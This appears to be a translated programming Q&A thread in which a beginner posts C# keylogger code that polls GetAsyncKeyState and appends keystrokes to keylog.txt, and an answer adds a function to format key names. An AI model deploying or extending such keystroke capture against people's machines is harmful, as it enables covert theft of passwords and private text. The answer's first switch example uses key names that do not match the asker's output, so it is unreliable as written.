获取格式化的击键

Get keystrokes formatted

我是新手,仍在学习 C#

我有这个简单的代码(我从网站上获得)可以捕获击键并将其保存在文件中:

[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);

public Form1()
{
    InitializeComponent();
    timer1.Tick += new EventHandler(timer1_Tick);
    timer1.Start();
}

string text = "";
void timer1_Tick(object sender, EventArgs e)
{
    string buffer = "";
    foreach (Int32 i in Enum.GetValues(typeof(Keys)))
    {
        if(GetAsyncKeyState(i) == -32767)
            buffer += Enum.GetName(typeof(Keys), i);
    }
    text += buffer;
    if (text.Length > 10)
    {
        WriteToText(text);
        text = "";
    }

}

private void WriteToText(string value)
{
    StreamWriter stream = new StreamWriter("keylog.txt",true);
    stream.Write(value);
    stream.Close();
}

它有效,但是,keylog.txt 中的文本是这样的: D1D2D3D4D5D6LButtonRButtonSpaceSpaceASD0emcomma0emPeriodSemicolon 等...
但是我想要的是这样的(格式化或排列):
123456[LeftClick][RightClick] ASD,.;

我该怎么做?我应该添加什么代码?

您可以添加另一个功能来重命名所有键:

string RenameKey(string keyName)
{
    switch(keyName)
    {
        case "LClick":
            return "[LeftClick]";
            break;
        case "RClick":
            return "[RightClick]";
            break;
        default:
            return keyName;
    }
}

或者像我一样懒惰:

string RenameKey(string keyName)
{
    if(keyName.Length > 1) return "[" + keyName + "]";
    return keyName;
}

只需更改上面的方法即可使用此功能:

void timer1_Tick(object sender, EventArgs e)
{
    string buffer = "";
    foreach (Int32 i in Enum.GetValues(typeof(Keys)))
    {
        if(GetAsyncKeyState(i) == -32767)
            buffer += RenameKey(Enum.GetName(typeof(Keys), i));
    }
    text += buffer;
    if (text.Length > 10)
    {
        WriteToText(text);
        text = "";
    }

}

这行写着:

buffer += RenameKey(Enum.GetName(typeof(Keys), i));